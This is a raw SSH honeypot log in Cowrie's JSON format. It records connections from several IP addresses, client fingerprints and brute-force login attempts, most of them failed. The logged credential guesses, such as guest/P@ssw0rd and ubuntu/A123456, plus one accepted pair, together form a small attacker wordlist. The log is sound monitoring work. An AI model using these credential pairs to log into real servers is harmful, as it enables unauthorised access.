{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:30.330584Z","src_ip":"103.158.40.65","session":"5252e4ab7fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":34948,"dst_ip":"10.17.0.5","dst_port":22,"session":"d85f565baf56","protocol":"ssh","message":"New connection: 154.81.14.172:34948 (10.17.0.5:22) [session: d85f565baf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:30.838037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:30.846155Z","src_ip":"154.81.14.172","session":"d85f565baf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:31.060616Z","src_ip":"154.81.14.172","session":"d85f565baf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:31.539606Z","src_ip":"103.158.40.65","session":"5252e4ab7fd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":42230,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d9b944b29b","protocol":"ssh","message":"New connection: 103.158.40.65:42230 (159.203.135.109:22) [session: 03d9b944b29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:31.759990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:31.764228Z","src_ip":"103.158.40.65","session":"03d9b944b29b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"111111","message":"login attempt [username/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:31.954519Z","src_ip":"154.81.14.172","session":"d85f565baf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:31.979386Z","src_ip":"103.158.40.65","session":"03d9b944b29b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:32.867986Z","src_ip":"103.158.40.65","session":"03d9b944b29b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:33.086593Z","src_ip":"103.158.40.65","session":"03d9b944b29b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:33.093606Z","src_ip":"103.158.40.65","session":"e8cf181808a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:33.171748Z","src_ip":"154.81.14.172","session":"d85f565baf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":34666,"dst_ip":"10.17.0.5","dst_port":22,"session":"325ed8c4f0b1","protocol":"ssh","message":"New connection: 101.36.106.162:34666 (10.17.0.5:22) [session: 325ed8c4f0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:49.495829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:49.499837Z","src_ip":"101.36.106.162","session":"325ed8c4f0b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:49.716698Z","src_ip":"101.36.106.162","session":"325ed8c4f0b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"admin123","message":"login attempt [kafka/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:50.623153Z","src_ip":"101.36.106.162","session":"325ed8c4f0b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":34740,"dst_ip":"10.17.0.5","dst_port":22,"session":"905fc367bb8d","protocol":"ssh","message":"New connection: 181.97.227.163:34740 (10.17.0.5:22) [session: 905fc367bb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:50.871802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:50.876392Z","src_ip":"181.97.227.163","session":"905fc367bb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:51.073434Z","src_ip":"181.97.227.163","session":"905fc367bb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:51.843042Z","src_ip":"101.36.106.162","session":"325ed8c4f0b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"speedtest","password":"speedtest123","message":"login attempt [speedtest/speedtest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:51.898682Z","src_ip":"181.97.227.163","session":"905fc367bb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:53.098286Z","src_ip":"181.97.227.163","session":"905fc367bb8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8405,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf5d5df6cb8","protocol":"ssh","message":"New connection: 131.161.219.137:8405 (159.203.135.109:22) [session: fdf5d5df6cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:58.921154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:58.925419Z","src_ip":"131.161.219.137","session":"fdf5d5df6cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:59.055370Z","src_ip":"131.161.219.137","session":"fdf5d5df6cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertyuiop","message":"login attempt [test/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:59.598732Z","src_ip":"131.161.219.137","session":"fdf5d5df6cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40290,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eca69d68703","protocol":"ssh","message":"New connection: 103.125.103.201:40290 (10.17.0.5:22) [session: 7eca69d68703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:00.121012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:00.126171Z","src_ip":"103.125.103.201","session":"7eca69d68703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:00.416529Z","src_ip":"103.125.103.201","session":"7eca69d68703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:00.729386Z","src_ip":"131.161.219.137","session":"fdf5d5df6cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest2023","message":"login attempt [guest/guest2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:01.605983Z","src_ip":"103.125.103.201","session":"7eca69d68703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:02.899804Z","src_ip":"103.125.103.201","session":"7eca69d68703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":57684,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1c988d1e280","protocol":"ssh","message":"New connection: 103.158.40.65:57684 (159.203.135.109:22) [session: e1c988d1e280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:27.436535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:27.443370Z","src_ip":"103.158.40.65","session":"e1c988d1e280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:27.666164Z","src_ip":"103.158.40.65","session":"e1c988d1e280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"P@ssw0rd","message":"login attempt [guest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:28.573589Z","src_ip":"103.158.40.65","session":"e1c988d1e280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:29.795810Z","src_ip":"103.158.40.65","session":"e1c988d1e280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":34436,"dst_ip":"10.17.0.5","dst_port":22,"session":"1707c5ccd607","protocol":"ssh","message":"New connection: 101.36.106.162:34436 (10.17.0.5:22) [session: 1707c5ccd607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:39.253863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:39.259227Z","src_ip":"101.36.106.162","session":"1707c5ccd607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:39.493242Z","src_ip":"101.36.106.162","session":"1707c5ccd607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456","message":"login attempt [ubuntu/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:40.395887Z","src_ip":"101.36.106.162","session":"1707c5ccd607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":42338,"dst_ip":"159.203.135.109","dst_port":22,"session":"35adf2a2764b","protocol":"ssh","message":"New connection: 43.173.69.147:42338 (159.203.135.109:22) [session: 35adf2a2764b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:40.506808Z"}
